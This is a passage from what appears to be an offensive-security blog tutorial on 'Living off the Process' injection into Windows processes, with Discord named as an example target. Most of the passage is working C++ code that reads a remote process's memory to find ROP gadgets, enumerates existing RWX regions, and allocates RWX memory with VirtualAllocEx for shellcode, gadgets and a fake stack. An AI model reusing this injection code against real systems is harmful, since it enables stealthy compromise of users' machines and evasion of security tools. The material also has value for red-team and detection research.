                    <span class="k">if</span> <span class="p">(</span><span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">bytesRead</span><span class="p">))</span> <span class="p">{</span>
                        <span class="k">for</span> <span class="p">(</span><span class="n">SIZE_T</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">+</span> <span class="n">gadgetSize</span> <span class="o">&lt;=</span> <span class="n">bytesRead</span><span class="p">;</span> <span class="o">++</span><span class="n">j</span><span class="p">)</span> <span class="p">{</span>
                            <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">j</span><span class="p">,</span> <span class="n">gadget</span><span class="p">,</span> <span class="n">gadgetSize</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                                <span class="n">gadgetAddress</span> <span class="o">=</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)((</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span> <span class="o">+</span> <span class="n">j</span><span class="p">);</span>
                                <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Found in "</span> <span class="o">&lt;&lt;</span> <span class="n">modName</span> <span class="o">&lt;&lt;</span> <span class="s">L" at 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">gadgetAddress</span> <span class="o">&lt;&lt;</span> <span class="s">" !!!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
                                <span class="k">delete</span><span class="p">[]</span> <span class="n">buffer</span><span class="p">;</span>
                                <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
                                <span class="k">return</span> <span class="n">gadgetAddress</span><span class="p">;</span>
                            <span class="p">}</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                    <span class="k">delete</span><span class="p">[]</span> <span class="n">buffer</span><span class="p">;</span>
                <span class="p">}</span>
                <span class="n">addr</span> <span class="o">+=</span> <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">gadgetAddress</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>That’s a wrap for gadget searching!  Let’s move on to the next requirement for leveraging all the possibilities of LOTP (Living off the Process), finding already created RWX memory regions</p>

<h2 id="finding-existing-rwx-memory-within-the-remote-process">Finding existing RWX memory within the remote Process</h2>

<p>This portion of our <code class="language-plaintext highlighter-rouge">LOTP</code> artifact searching doesn’t require too much effort.  In fact, you can easily check for already created RWX (Read/Write/Execute) memory regions via SystemInformer.  This is probably the easiest artifacts to check as far as Living off the Process goes.  There’s more processes that use RWX than you probably realize 😺  Here’s how to do it.  I’ll be picking on the Discord process as it is a great candidate 😸</p>

<p><strong>System Informer</strong></p>

<p><img width="728" height="420" alt="image" src="https://github.com/user-attachments/assets/f9ed3903-3e81-433a-afe1-8fb9157091fe" /></p>

<p>Now, we want to do the same thing but programatically right?  I’ll share the code to accomplish this below:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Open process</span>
<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hProcess</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] Failed to open process (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Successfully opened process handle"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

<span class="n">LPVOID</span> <span class="n">remoteShellcode</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="n">LPVOID</span> <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>
<span class="c1">// Find all RWX memory regions</span>
<span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Scanning for RWX memory regions (4KB only)..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

<span class="kt">int</span> <span class="n">reval</span><span class="o">=</span><span class="n">FindRWXMemoryRegions</span><span class="p">(</span><span class="n">shellcode_base</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">remoteShellcode</span><span class="p">,</span> <span class="n">remoteGadgets</span><span class="p">);</span>
</code></pre></div></div>

<p>Now, let me show you the <code class="language-plaintext highlighter-rouge">FindRWXMemoryRegions</code> function itself. We start by looking through all user modules for pre-allocated RWX memory regions.  Then once regions are detected, I added the option for you the user to specify which region is going to serve as the gadgets memory region, the shellcode memory region, and the fake stack memory regions.  If no RWX regions are found, then I added an alternative default to automatically create the necessary RWX regions.  I realize this is counter to the whole notion of LOTP but the functionality is there if you want to use it.  Also, the fake stack memory region always needs to be at least 0x4000 in size or greater.  So when you pick a memory region, bear that in mind.  🐻  The reason being, well there’s two primary reasons.  API’s use up a lot of stack space and I want to make sure when we execute our shellcode we have enough space for that.  Also, I want a clean stack that isn’t clobber by preexisting data from the process we injected into.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">FindRWXMemoryRegions</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode_base</span><span class="p">,</span> <span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">,</span>
    <span class="n">LPVOID</span><span class="o">&amp;</span> <span class="n">remoteShellcode</span><span class="p">,</span> <span class="n">LPVOID</span><span class="o">&amp;</span> <span class="n">remoteGadgets</span><span class="p">,</span> <span class="n">LPVOID</span><span class="o">&amp;</span> <span class="n">remoteStack</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// Note: Requires #include &lt;algorithm&gt; for std::sort</span>

    <span class="k">struct</span> <span class="nc">RWXRegion</span> <span class="p">{</span>
        <span class="n">PVOID</span> <span class="n">baseAddress</span><span class="p">;</span>
        <span class="n">SIZE_T</span> <span class="n">size</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wstring</span> <span class="n">info</span><span class="p">;</span>
    <span class="p">};</span>

    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">RWXRegion</span><span class="o">&gt;</span> <span class="n">rwxRegions</span><span class="p">;</span>
    <span class="n">MEMORY_BASIC_INFORMATION</span> <span class="n">mbi</span><span class="p">;</span>
    <span class="n">PVOID</span> <span class="n">address</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>

    <span class="k">while</span> <span class="p">(</span><span class="n">VirtualQueryEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mbi</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mbi</span><span class="p">))</span> <span class="o">==</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mbi</span><span class="p">))</span> <span class="p">{</span>
        <span class="c1">// Check for RWX (PAGE_EXECUTE_READWRITE) regions with size greater than or equal to 0x1000</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">mbi</span><span class="p">.</span><span class="n">State</span> <span class="o">==</span> <span class="n">MEM_COMMIT</span> <span class="o">&amp;&amp;</span>
            <span class="n">mbi</span><span class="p">.</span><span class="n">Protect</span> <span class="o">==</span> <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">&amp;&amp;</span>
            <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span> <span class="o">&gt;=</span> <span class="mh">0x1000</span><span class="p">)</span> <span class="p">{</span> 

            <span class="n">RWXRegion</span> <span class="n">region</span><span class="p">;</span>
            <span class="n">region</span><span class="p">.</span><span class="n">baseAddress</span> <span class="o">=</span> <span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span><span class="p">;</span>
            <span class="n">region</span><span class="p">.</span><span class="n">size</span> <span class="o">=</span> <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">;</span>

            <span class="c1">// Try to get module name for this region</span>
            <span class="n">HMODULE</span> <span class="n">hMod</span><span class="p">;</span>
            <span class="n">WCHAR</span> <span class="n">modName</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">]</span> <span class="o">=</span> <span class="s">L"&lt;Unknown&gt;"</span><span class="p">;</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">GetModuleHandleExW</span><span class="p">(</span><span class="n">GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS</span><span class="p">,</span>
                <span class="p">(</span><span class="n">LPCWSTR</span><span class="p">)</span><span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hMod</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">GetModuleFileNameW</span><span class="p">(</span><span class="n">hMod</span><span class="p">,</span> <span class="n">modName</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
            <span class="p">}</span>

            <span class="n">region</span><span class="p">.</span><span class="n">info</span> <span class="o">=</span> <span class="n">modName</span><span class="p">;</span>
            <span class="n">rwxRegions</span><span class="p">.</span><span class="n">push_back</span><span class="p">(</span><span class="n">region</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="c1">// Move to next region</span>
        <span class="n">address</span> <span class="o">=</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)((</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">mbi</span><span class="p">.</span><span class="n">BaseAddress</span> <span class="o">+</span> <span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">// Sort regions by size (largest first) to ensure stack gets the largest region</span>
    <span class="n">std</span><span class="o">::</span><span class="n">sort</span><span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">begin</span><span class="p">(),</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">end</span><span class="p">(),</span>
        <span class="p">[](</span><span class="k">const</span> <span class="n">RWXRegion</span><span class="o">&amp;</span> <span class="n">a</span><span class="p">,</span> <span class="k">const</span> <span class="n">RWXRegion</span><span class="o">&amp;</span> <span class="n">b</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="n">a</span><span class="p">.</span><span class="n">size</span> <span class="o">&gt;</span> <span class="n">b</span><span class="p">.</span><span class="n">size</span><span class="p">;</span>
        <span class="p">});</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">empty</span><span class="p">())</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] No RWX regions found (&gt;=4KB)! Falling back to VirtualAllocEx..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">remoteShellcode</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span>
            <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteShellcode</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated shellcode memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteShellcode</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Allocate separate region for gadgets</span>
        <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span>
            <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteGadgets</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for gadgets failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated gadgets memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Allocate separate region for clean stack</span>
        <span class="n">remoteStack</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x10000</span><span class="p">,</span>
            <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteStack</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for stack failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated stack memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[+] Found only "</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L" RWX region(s) (need 3 for shellcode + gadgets + stack)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Using found regions and allocating remaining..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"============================================================"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">();</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"["</span> <span class="o">&lt;&lt;</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="s">L"] Address: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">setfill</span><span class="p">(</span><span class="sc">L'0'</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">setw</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
                <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">baseAddress</span> <span class="o">&lt;&lt;</span> <span class="s">L" | Size: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span>
                <span class="o">&lt;&lt;</span> <span class="s">L" ("</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Module: "</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">info</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"============================================================"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Assign found regions - prioritize stack first, then gadgets, then shellcode</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&gt;=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">remoteStack</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[+] Using RWX region for stack at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&gt;=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Using RWX region for gadgets at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Allocate remaining needed regions</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">remoteStack</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x10000</span><span class="p">,</span>
                <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteStack</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for stack failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
                <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
                <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated stack memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span>
                <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteGadgets</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for gadgets failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
                <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
                <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated gadgets memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Always need to allocate shellcode since we have less than 3</span>
        <span class="n">remoteShellcode</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span>
            <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteShellcode</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for shellcode failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated shellcode memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteShellcode</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[+] Found "</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L" RWX memory region(s) (sorted by size, largest first):"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"============================================================"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

